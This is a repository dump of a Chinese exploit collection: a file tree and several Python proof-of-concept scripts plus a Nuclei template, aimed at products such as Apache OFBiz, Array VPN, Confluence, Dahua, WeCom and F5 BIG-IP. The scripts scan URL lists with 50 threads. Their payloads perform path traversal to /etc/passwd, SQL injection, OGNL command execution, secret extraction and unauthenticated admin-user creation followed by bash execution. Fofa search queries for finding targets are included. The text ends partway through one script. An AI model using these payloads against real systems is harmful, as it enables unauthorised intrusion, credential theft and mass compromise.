├── .DS_Store ├── Apache_OFBiz_Authentication_Bypass_Rce.py ├── Array_VPN_FileRead_Poc.py ├── Atlassian_Confluence_text-inline_Rce_Poc.py ├── ChangJieTongTPlus_GetStoreWarehouseByStore_Rce_Poc.py ├── DaHua_Zhihuiyuanqu_getFaceCapture_Sql_Poc.py ├── Dahua_EIMS_captureCommand_Rce.py ├── EasyCVR_Userlist_Leak_Poc.py ├── Enterprise_VX_Infoleak_Exp.py ├── F5_BIG_IP_RCE_CVE-2023-46747.yaml ├── Feiqihulian_FE_Login_Bypass_Exp.py ├── Hikvison_IP_Duijiang_Ping_Rce.py ├── Hikvison_Showfile_Download_File_Poc.py ├── Hikvison_iSecure_Center_Report_Upload_File_Poc.py ├── Hikvison_iSecure_Center_ResourceOperations_Upload_File_Exp.py ├── Hikvison_iSecure_Center_ResourceOperations_Upload_File_Poc.py ├── Hongfan_OA_Ioffice_Udfmr_Sql_Poc.py ├── Hongjing_HCM_Codesettree_Sql_Poc.py ├── Hongjing_HCM_KhFieldtree_Sql_Poc.py ├── JeecgBoot_testConnection_Rce.py ├── JinHE_OA_SQL_Rce_Exp.py ├── Jinpan_Weixin_Getsysteminfo_Leak_Poc.py ├── Kingdee_Apusic_AppServer_Upload_File_Poc.py ├── Kingdee_Erp_Unserialize_Rce_Poc.py ├── Kingdee_ScpSupRegHandler_Upload_File_Poc.py ├── LICENSE ├── Landray_Oa_Custom_FileRead_Poc.py ├── Landray_Oa_Treexml_Rce_Poc.py ├── Likeshop_Formimage_Uploadfile_poc.py ├── Linkwalks_OA_GetIMDictionary_Sql_Poc.py ├── Linkwalks_OA_Msgbroadcastuploadfile_UploadFile_Exp.py ├── Metabase_RCE_CVE_2023_38646_poc.py ├── Nginx_WebUI_Runcmd_Rce_Exp.py ├── NsFocus_SAS_Exec_Rce_Poc.py ├── NsFocus_SAS_GetFile_FileRead_Poc.py ├── NsFocus_SAS_LocalUser_Login_Poc.py ├── Openfire_Bypass_CVE_2023_32315_poc.py ├── PigCMS_Action_FlashUpload_UploadFile_Poc.py ├── QAX_Sec3600_Firewall_UploadFile_Poc.py ├── Qiwangzhizao_ERP_Comboxstore_Rce_Poc.py ├── README.md ├── Renwoxing_CRM_Typeid_sql_Poc.py ├── RichMail_noCookiesMail_info_Leak_Poc.py ├── Ruijie_NBR_FileUpload_Poc.py ├── Ruijie_SmartWeb_Execshell_Leak_Poc.py ├── Sifudi_test_qrcode_b_Rce_Poc.py ├── Suda_Report_FileUpload_Poc.py ├── Video_cloud_pla_download.aspx-anyfile-CNVD-2022-91381.yaml ├── Weaver_E_Mobile_6_RCE_Exp.py ├── Weaver_Oa_Eoffice_Officeserver_Upload_File_Poc.py ├── Weaver_Oa_Eoffice_Uploadify_Upload_File_Poc.py ├── XXL_Job_Default_Token_Rce.py ├── Yongyou_Grp_U8_bx_historyDataCheck_Sql_Poc.py ├── Yongyou_KSOA_QueryService_Sql_Poc.py ├── Yongyou_NC_Cloud_Uploadchunk_Uploadfile_Poc.py ├── Yongyou_NC_Cloud_importhttpscer_FileUpload_Poc.py ├── Yongyou_U8_OA_doUpload_Upload_File_Poc.py ├── YouDianCMS__Upload_File_Poc.py └── image ├── .DS_Store └── README ├── 1691885589911.png ├── 公众号.png └── 猫蛋儿微信.jpeg /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MD-SEC/MDPOCS/4de61fc965525a3f6af6049ef28d0b1619a649c1/.DS_Store -------------------------------------------------------------------------------- /Apache_OFBiz_Authentication_Bypass_Rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # app="Apache_OFBiz" 6 | 7 | import sys 8 | import requests 9 | import csv 10 | import urllib3 11 | import hashlib 12 | from concurrent.futures import ThreadPoolExecutor 13 | 14 | if len(sys.argv) != 2: 15 | print( 16 | '+----------------------------------------------------------------------------------------------------------+') 17 | print( 18 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 19 | print( 20 | '+----------------------------------------------------------------------------------------------------------+') 21 | print( 22 | '+ USE: python3 +') 23 | print( 24 | '+ EXP: python3 Apache_OFBiz_Authentication_Bypass_Rce.py url.txt +') 25 | print( 26 | '+----------------------------------------------------------------------------------------------------------+') 27 | sys.exit() 28 | def poc(host): 29 | if "http" in host: 30 | url = host 31 | else: 32 | url ="http://"+host 33 | host1=url.replace("http://","") 34 | host2=host1.replace("https://","") 35 | headers = { 36 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 37 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 38 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 39 | "Accept-Encoding": "gzip, deflate,br", 40 | "Host": "%s" % host2 41 | } 42 | vulurl = url+ "/webtools/control/ping?USERNAME&PASSWORD=&requirePasswordChange=Y" 43 | try: 44 | r = requests.get(vulurl, headers=headers) 45 | if "PONG" in r.text: 46 | print(url+":true") 47 | else: 48 | return 0 49 | print (host+":false") 50 | except: 51 | pass 52 | #print (host+":false") 53 | 54 | if __name__ == '__main__': 55 | file = sys.argv[1] 56 | data = open(file) 57 | reader = csv.reader(data) 58 | with ThreadPoolExecutor(50) as pool: 59 | for row in reader: 60 | pool.submit(poc, row[0]) -------------------------------------------------------------------------------- /Array_VPN_FileRead_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | #fofa：product="Array-VPN" 6 | #zoomeye:app:"Array Networks secure access gateways VPN server httpd" +country:"CN" 7 | import poplib 8 | from HackRequests import * 9 | 10 | import sys 11 | import requests 12 | import csv 13 | import urllib3 14 | import hashlib 15 | from concurrent.futures import ThreadPoolExecutor 16 | import ssl 17 | 18 | 19 | # if len(sys.argv) != 2: 20 | # print( 21 | # '+----------------------------------------------------------------------------------------------------------+') 22 | # print( 23 | # '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 24 | # print( 25 | # '+----------------------------------------------------------------------------------------------------------+') 26 | # print( 27 | # '+ USE: python3 +') 28 | # print( 29 | # '+ EXP: python3 Array_VPN_FileRead_Poc.py url.txt +') 30 | # print( 31 | # '+----------------------------------------------------------------------------------------------------------+') 32 | # sys.exit() 33 | # requests.packages.urllib3.disable_warnings() 34 | 35 | # def exp(host): 36 | # if "http" in host: 37 | # url = host 38 | # else: 39 | # url ="http://"+host 40 | # host1=url.replace("http://","") 41 | # host2=host1.replace("https://","") 42 | # headers = { 43 | # "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 44 | # "Sec-Fetch-Mode": "no-cors", 45 | # "Host": "%s" %host2, 46 | # "Sec-Ch-Ua": '"Chromium";v="103", ".Not/A)Brand";v="99"', 47 | # "Accept": "*/*", 48 | # "Accept-Encoding": "gzip, deflate", 49 | # "Sec-Fetch-Dest": "script", 50 | # "Sec-Ch-Ua-Platform": "\"Windows\"", 51 | # "Sec-Fetch-Mode": "no-cors", 52 | # "X_AN_FILESHARE": "uname=t; password=t; sp_uname=t; flags=c3248;fshare_template=../../../../../../../../etc/passwd" 53 | # } 54 | # raw='''GET /prx/000/http/localhost/client_sec/%00../../../addfolder HTTP/1.1 55 | # User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 56 | # Accept-Encoding: gzip, deflate, br 57 | # Accept: */* 58 | # Connection: close 59 | # Sec-Fetch-Mode: no-cors 60 | # Host: 223.255.133.5 61 | # Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99" 62 | # Sec-Fetch-Dest: script 63 | # Sec-Ch-Ua-Platform: "Windows" 64 | # X_AN_FILESHARE: uname=t; password=t; sp_uname=t; flags=c3248;fshare_template=../../../../../../../../etc/passwd''' 65 | # vulurl=url+"/prx/000/http/localhost/client_sec/%00../../../addfolder" 66 | # try: 67 | # uu = hackRequests().http(vulurl, headers=headers) 68 | # print(uu.text()) 69 | # except Exception as e: 70 | # print (e) 71 | # print (host+":false") 72 | # if __name__ == '__main__': 73 | # file = sys.argv[1] 74 | # data = open(file) 75 | # reader = csv.reader(data) 76 | # with ThreadPoolExecutor(50) as pool: 77 | # for row in reader: 78 | # pool.submit(exp, row[0]) 79 | proxysdata = { 80 | 'https': '127.0.0.1:8082' 81 | } 82 | requests.packages.urllib3.disable_warnings() 83 | def exp(host): 84 | if "http" in host: 85 | url = host 86 | else: 87 | url ="http://"+host 88 | host1=url.replace("http://","") 89 | host2=host1.replace("https://","") 90 | headers = { 91 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 92 | "Sec-Fetch-Mode": "no-cors", 93 | "Host": "%s" %host2, 94 | "Sec-Ch-Ua": '"Chromium";v="103", ".Not/A)Brand";v="99"', 95 | "Accept": "*/*", 96 | "Accept-Encoding": "gzip, deflate", 97 | "Sec-Fetch-Dest": "script", 98 | "Sec-Ch-Ua-Platform": "\"Windows\"", 99 | "Sec-Fetch-Mode": "no-cors", 100 | "X_AN_FILESHARE": "uname=t; password=t; sp_uname=t; flags=c3248;fshare_template=../../../../../../../../etc/passwd" 101 | } 102 | vulurl=url+"""/prx/000/http/localhost/client_sec/%25%30%30%2e%2e%2f%2e%2e%2f%2e%2e%2f%61%64%64%66%6f%6c%64%65%72""" 103 | try: 104 | r=requests.get(vulurl,headers=headers,verify=False) 105 | if "arraydb" in r.text: 106 | print(url+":true "+r.text[r.text.find('root'):r.text.find('sh')+2]) 107 | except Exception as e: 108 | return 0 109 | print (e) 110 | print (host+":false") 111 | if __name__ == '__main__': 112 | file = sys.argv[1] 113 | data = open(file) 114 | reader = csv.reader(data) 115 | with ThreadPoolExecutor(50) as pool: 116 | for row in reader: 117 | pool.submit(exp, row[0]) -------------------------------------------------------------------------------- /Atlassian_Confluence_text-inline_Rce_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # fofa:app="Atlassian-Confluence" 6 | # 7 | 8 | import sys 9 | import requests 10 | import csv 11 | import urllib3 12 | import hashlib 13 | from concurrent.futures import ThreadPoolExecutor 14 | 15 | if len(sys.argv) != 2: 16 | print( 17 | '+----------------------------------------------------------------------------------------------------------+') 18 | print( 19 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 20 | print( 21 | '+---------------------------------------------------------------------------------------------------------+') 22 | print( 23 | '+ USE: python3 +') 24 | print( 25 | '+ EXP: python3 Atlassian_Confluence_text-inline_Rce_Poc.py url.txt +') 26 | print( 27 | '+----------------------------------------------------------------------------------------------------------+') 28 | sys.exit() 29 | urllib3.disable_warnings() 30 | def poc(host): 31 | if "http" in host: 32 | url = host 33 | else: 34 | url ="http://"+host 35 | host1=url.replace("http://","") 36 | host2=host1.replace("https://","") 37 | headers = { 38 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 39 | "Accept-Encoding": "gzip,deflate", 40 | "Accept":"*/*", 41 | "Connection":"close", 42 | "Content-Type": "application/x-www-form-urlencoded", 43 | "Host":"%s" % host2 44 | 45 | } 46 | vulurl = url + "/template/aui/text-inline.vm" 47 | data=r"label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd',(new+freemarker.template.utility.Execute()).exec({'id'}))" 48 | try: 49 | r = requests.post(vulurl, headers=headers,data=data,verify=False) 50 | if r.status_code==200 and "Cmd" in str(r.headers) : 51 | print(url+" id:" + r.headers['Cmd']) 52 | else: 53 | return 0 54 | print (host+":false") 55 | except: 56 | return 0 57 | 58 | print (host+":false") 59 | 60 | if __name__ == '__main__': 61 | file = sys.argv[1] 62 | data = open(file) 63 | reader = csv.reader(data) 64 | with ThreadPoolExecutor(50) as pool: 65 | for row in reader: 66 | pool.submit(poc, row[0]) -------------------------------------------------------------------------------- /ChangJieTongTPlus_GetStoreWarehouseByStore_Rce_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # app="畅捷通-TPlus" && icon_hash="-2067519629" 6 | 7 | import sys 8 | import requests 9 | import csv 10 | import urllib3 11 | import hashlib 12 | from concurrent.futures import ThreadPoolExecutor 13 | 14 | if len(sys.argv) != 2: 15 | print( 16 | '+----------------------------------------------------------------------------------------------------------+') 17 | print( 18 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 19 | print( 20 | '+----------------------------------------------------------------------------------------------------------+') 21 | print( 22 | '+ USE: python3 +') 23 | print( 24 | '+ EXP: python3 ChangJieTongTPlus_GetStoreWarehouseByStore_Rce_Poc.py url.txt +') 25 | print( 26 | '+----------------------------------------------------------------------------------------------------------+') 27 | sys.exit() 28 | proxysdata = { 29 | 'http': '127.0.0.1:8080' 30 | } 31 | def poc(host): 32 | url = host 33 | headers = { 34 | "X-Ajaxpro-Method": "GetStoreWarehouseByStore", 35 | "Host":"%s" %host 36 | } 37 | data ='{\r\n"storeID":{}\r\n}' 38 | vulurl = "http://"+url + "/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore" 39 | try: 40 | 41 | r = requests.post(vulurl, headers=headers,data=data) 42 | print(r.text) 43 | if r.status_code==200 and "archivesId" in r.text : 44 | print("http://"+host+":true") 45 | print("请使用ysoserial进行反序列化利用:https://blog.csdn.net/qq_41904294/article/details/131350965") 46 | else: 47 | return 0 48 | print (host+":false") 49 | except: 50 | print (host+":false") 51 | 52 | 53 | if __name__ == '__main__': 54 | file = sys.argv[1] 55 | data = open(file) 56 | reader = csv.reader(data) 57 | with ThreadPoolExecutor(50) as pool: 58 | for row in reader: 59 | pool.submit(poc, row[0]) -------------------------------------------------------------------------------- /DaHua_Zhihuiyuanqu_getFaceCapture_Sql_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # app="dahua-智慧园区综合管理平台" 6 | 7 | import sys 8 | import requests 9 | import csv 10 | import urllib3 11 | import hashlib 12 | from concurrent.futures import ThreadPoolExecutor 13 | 14 | if len(sys.argv) != 2: 15 | print( 16 | '+----------------------------------------------------------------------------------------------------------+') 17 | print( 18 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 19 | print( 20 | '+---------------------------------------------------------------------------------------------------------+') 21 | print( 22 | '+ USE: python3 +') 23 | print( 24 | '+ EXP: python3 DaHua_Zhihuiyuanqu_getFaceCapture_Sql_Poc.py url.txt +') 25 | print( 26 | '+----------------------------------------------------------------------------------------------------------+') 27 | sys.exit() 28 | requests.packages.urllib3.disable_warnings() 29 | def poc(host): 30 | if "http" in host: 31 | url = host 32 | else: 33 | url ="http://"+host 34 | host1=url.replace("http://","") 35 | host2=host1.replace("https://","") 36 | headers = { 37 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 38 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 39 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 40 | "Accept-Encoding": "gzip, deflate", 41 | "Host":"%s" % host2 42 | } 43 | vulurl = url + '/portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B"orderBy":"1%20and%201=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)--"%7D/extend/%7B%7D' 44 | try: 45 | r = requests.get(vulurl, headers=headers,verify=False) 46 | #print(str(r.content)) 47 | if "XPATH" in str(r.content): 48 | index=str(r.content).find("XPATH") 49 | print("http://"+host+" :true "+str(r.content)[index+23:index+38]) 50 | else: 51 | return 0 52 | print (host+":false") 53 | except: 54 | return 0 55 | print (host+":false") 56 | 57 | 58 | if __name__ == '__main__': 59 | file = sys.argv[1] 60 | data = open(file) 61 | reader = csv.reader(data) 62 | with ThreadPoolExecutor(50) as pool: 63 | for row in reader: 64 | pool.submit(poc, row[0]) -------------------------------------------------------------------------------- /Dahua_EIMS_captureCommand_Rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # fofa: app="dahua-EIMS" 6 | # Zoomeye: app:"大华 EIMS" 7 | 8 | import sys 9 | import requests 10 | import csv 11 | import urllib3 12 | import hashlib 13 | from concurrent.futures import ThreadPoolExecutor 14 | 15 | if len(sys.argv) != 2: 16 | print( 17 | '+----------------------------------------------------------------------------------------------------------+') 18 | print( 19 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 20 | print( 21 | '+----------------------------------------------------------------------------------------------------------+') 22 | print( 23 | '+ USE: python3 +') 24 | print( 25 | '+ EXP: python3 Dahua_EIMS_captureCommand_Rce.py url.txt +') 26 | print( 27 | '+----------------------------------------------------------------------------------------------------------+') 28 | sys.exit() 29 | proxysdata = { 30 | 'http': '127.0.0.1:8080' 31 | } 32 | def poc(host): 33 | url = host 34 | if "http" in host: 35 | url = host 36 | else: 37 | url ="http://"+host 38 | host1=url.replace("http://","") 39 | host2=host1.replace("https://","") 40 | headers = { 41 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 42 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 43 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 44 | "Accept-Encoding": "gzip, deflate", 45 | "Accept":"*/*", 46 | "Host":"%s" %host2 47 | } 48 | vulurl = url + "/config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping xxx.dnslog.cn index.pcap" 49 | try: 50 | r = requests.get(vulurl, headers=headers) 51 | if r.status_code==200 and "success" in r.text : 52 | #print(host) 53 | print( host2+":true ") 54 | else: 55 | return 0 56 | print (host+":false") 57 | except: 58 | pass 59 | #print (host+":false") 60 | 61 | 62 | if __name__ == '__main__': 63 | file = sys.argv[1] 64 | data = open(file) 65 | reader = csv.reader(data) 66 | with ThreadPoolExecutor(50) as pool: 67 | for row in reader: 68 | pool.submit(poc, row[0]) -------------------------------------------------------------------------------- /EasyCVR_Userlist_Leak_Poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # fofa:icon_hash="458134656" 6 | 7 | 8 | import sys 9 | import requests 10 | import csv 11 | import urllib3 12 | import hashlib 13 | from concurrent.futures import ThreadPoolExecutor 14 | 15 | if len(sys.argv) != 2: 16 | print( 17 | '+----------------------------------------------------------------------------------------------------------+') 18 | print( 19 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 20 | print( 21 | '+----------------------------------------------------------------------------------------------------------+') 22 | print( 23 | '+ USE: python3 +') 24 | print( 25 | '+ EXP: python3 EasyCVR_Userlist_Leak_Poc.py url.txt +') 26 | print( 27 | '+----------------------------------------------------------------------------------------------------------+') 28 | sys.exit() 29 | proxysdata = { 30 | 'http': '127.0.0.1:8081' 31 | } 32 | requests.packages.urllib3.disable_warnings() 33 | 34 | def exp(host): 35 | if "http" in host: 36 | url = host 37 | else: 38 | url ="http://"+host 39 | host1=url.replace("http://","") 40 | host2=host1.replace("https://","") 41 | headers = { 42 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 43 | "Pragma": "no-cache", 44 | "Cache-Control": "no-cache", 45 | "Upgrade-Insecure-Requests": "1", 46 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", 47 | "Accept-Encoding": "gzip, deflate, br", 48 | "Cookie": "token=WfP815MSR" 49 | } 50 | vulurl = url + "/api/v1/userlist?pageindex=0&pagesize=10" 51 | try: 52 | r = requests.get(vulurl,headers=headers,verify=False) 53 | #print(r.text) 54 | if "Password" and "CreateAt" in r.text : 55 | print(url+":true") 56 | #print(r.text) 57 | else: 58 | return 0 59 | print (host+":false") 60 | except: 61 | return 0 62 | print (host+":false") 63 | 64 | if __name__ == '__main__': 65 | file = sys.argv[1] 66 | data = open(file) 67 | reader = csv.reader(data) 68 | with ThreadPoolExecutor(50) as pool: 69 | for row in reader: 70 | pool.submit(exp, row[0]) -------------------------------------------------------------------------------- /Enterprise_VX_Infoleak_Exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # product="Tencent-企业微信" 6 | 7 | import sys 8 | import requests 9 | import csv 10 | import urllib3 11 | import hashlib 12 | from concurrent.futures import ThreadPoolExecutor 13 | 14 | if len(sys.argv) != 2: 15 | print( 16 | '+----------------------------------------------------------------------------------------------------------+') 17 | print( 18 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 19 | print( 20 | '+----------------------------------------------------------------------------------------------------------+') 21 | print( 22 | '+ USE: python3 +') 23 | print( 24 | '+ EXP: python3 Enterprise_VX_Infoleak_Exp.py url.txt +') 25 | print( 26 | '+----------------------------------------------------------------------------------------------------------+') 27 | sys.exit() 28 | def poc(host): 29 | url = host 30 | headers = { 31 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 32 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 33 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 34 | "Accept-Encoding": "gzip, deflate", 35 | "Host": "%s" % host 36 | } 37 | vulurl = "https://"+url + "/cgi-bin/gateway/agentinfo" 38 | try: 39 | r = requests.get(vulurl, headers=headers) 40 | if r.status_code==200 and "strcorpid" in r.text and "\"errcode\":0" in r.text: 41 | strcorpid = r.text.replace('\"',"").replace('{',"").replace('}',"").split('strcorpid:')[1].split(",corpid")[0] 42 | Secret = r.text.replace('\"',"").replace('{',"").replace('}',"").split('Secret:')[1].split(",}")[0] 43 | print("http://"+host+":true") 44 | print("strcotpid= "+ strcorpid) 45 | print("Secret= "+ Secret) 46 | else: 47 | return 0 48 | print (host+":false") 49 | except: 50 | print (host+":false") 51 | 52 | if __name__ == '__main__': 53 | file = sys.argv[1] 54 | data = open(file) 55 | reader = csv.reader(data) 56 | with ThreadPoolExecutor(50) as pool: 57 | for row in reader: 58 | pool.submit(poc, row[0]) -------------------------------------------------------------------------------- /F5_BIG_IP_RCE_CVE-2023-46747.yaml: -------------------------------------------------------------------------------- 1 | id: CVE-2023-46747 2 | 3 | info: 4 | name: F5 BIG-IP - Unauthenticated RCE via AJP Smuggling 5 | author: iamnoooob,rootxharsh,pdresearch 6 | severity: critical 7 | description: | 8 | CVE-2023-46747 is a critical severity authentication bypass vulnerability in F5 BIG-IP that could allow an unauthenticated attacker to achieve remote code execution (RCE). The vulnerability impacts the BIG-IP Configuration utility, also known as the TMUI, wherein arbitrary requests can bypass authentication. The vulnerability received a CVSSv3 score of 9.8. 9 | reference: 10 | - https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/ 11 | - https://my.f5.com/manage/s/article/K000137353 12 | classification: 13 | cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 14 | cvss-score: 9.8 15 | cve-id: CVE-2023-46747 16 | cwe-id: CWE-288 17 | epss-score: 0.00091 18 | epss-percentile: 0.38535 19 | metadata: 20 | max-request: 4 21 | verified: true 22 | shodan-query: http.title:"BIG-IP®-+Redirect" +"Server" 23 | tags: cve,cve2023,rce,f5,bigip,unauth,ajp,smuggling,intrusive 24 | 25 | variables: 26 | username: "{{hex_encode(rand_base(5))}}" 27 | password: "{{hex_encode(rand_base(12))}}" 28 | password2: "{{rand_base(14)}}" 29 | 30 | http: 31 | - raw: 32 | - |+ 33 | POST /tmui/login.jsp HTTP/1.1 34 | Host: {{Hostname}} 35 | Transfer-Encoding: chunked, chunked 36 | Content-Type: application/x-www-form-urlencoded 37 | 38 | 204 39 | {{ hex_decode(concat("0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d",username,"266e616d655f6265666f72653d267061737377643d",password,"267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00")) }} 40 | 0 41 | 42 | unsafe: true 43 | 44 | - raw: 45 | - |+ 46 | PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1 47 | Host: {{Hostname}} 48 | Authorization: Basic {{base64(hex_decode(username)+":"+hex_decode(password))}} 49 | Content-Type: application/json 50 | 51 | {"password": "{{password2}}"} 52 | 53 | - |+ 54 | POST /mgmt/shared/authn/login HTTP/1.1 55 | Host: {{Hostname}} 56 | Content-Type: application/json 57 | 58 | {"username":"{{hex_decode(username)}}", "password":"{{password2}}"} 59 | 60 | - |+ 61 | POST /mgmt/tm/util/bash HTTP/1.1 62 | Host: {{Hostname}} 63 | X-F5-Auth-Token: {{token}} 64 | Content-Type: application/json 65 | 66 | {"command":"run","utilCmdArgs":"-c id"} 67 | 68 | extractors: 69 | - type: regex 70 | part: body_2 71 | name: token 72 | group: 1 73 | regex: 74 | - "([A-Z0-9]{26})" 75 | internal: true 76 | 77 | - type: regex 78 | part: body_3 79 | group: 1 80 | regex: 81 | - "\"commandResult\":\"(.*)\"" 82 | 83 | - type: dsl 84 | dsl: 85 | - '"Username:" + hex_decode(username)' 86 | - '"Password:" + password2' 87 | - '"Token:" + token' 88 | 89 | matchers: 90 | - type: word 91 | words: 92 | - "commandResult" 93 | - "uid=" 94 | condition: and 95 | # digest: 4a0a00473045022071bddfdc0bbe5945fe7829cf34774237e719b64db2c477cec65bb4da57c9b44c022100e15fe5b919285d7b4c1b1c8c403422d0319c7b6269dc6143f5daad3b9f102655:922c64590222798bb761d5b6d8e72950 -------------------------------------------------------------------------------- /Feiqihulian_FE_Login_Bypass_Exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding:utf-8 -*- 3 | # author:MDSEC 4 | # from:https://github.com/MD-SEC/MDPOCS 5 | # FOFA：app="飞企互联-FE企业运营管理平台" 6 | # Zoomeye: iconhash: "e90223165de1b1c7ae95336f10c3fe5d" 7 | 8 | import sys 9 | import requests 10 | import csv 11 | import urllib3 12 | import hashlib 13 | from concurrent.futures import ThreadPoolExecutor 14 | 15 | if len(sys.argv) != 2: 16 | print( 17 | '+----------------------------------------------------------------------------------------------------------+') 18 | print( 19 | '+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +') 20 | print( 21 | '+----------------------------------------------------------------------------------------------------------+') 22 | print( 23 | '+ USE: python3 +') 24 | print( 25 | '+ EXP: python3 Feiqihulian_FE_Login_Bypass_Exp.py url.txt +') 26 | print( 27 | '+----------------------------------------------------------------------------------------------------------+') 28 | sys.exit() 29 | proxysdata = { 30 | 'http': '127.0.0.1:8080', 31 | 'https': '127.0.0.1:8080' 32 | } 33 | def poc(host): 34 | if "http" in host: 35 | url = host 36 | else: 37 | url ="http://"+host 38 | host1=url.replace("http://","") 39 | host2=host1.replace("https://","") 40 | headers1 = { 41 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", 42 | "Host": "%s" % host2 43 | } 44 | #payload1='/2.ln?SYS_LINK=77507068764957484a5067777862714f457a66574871642f4330574c76717868394a35496d37416c497951724f33446f51486375685a5a2b31684938472b7056' 45 | payload2='/loginService.fe?op=D' 46 | try: 47 | #r1 = requests.get(url+payload1, headers=headers1) 48 | r2 = requests.get(url+payload2, headers=headers1) 49 | if "流程" in r2.text: 50 | cookies=r2.headers['Set-Cookie'] 51 | headers2 = { 52 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; 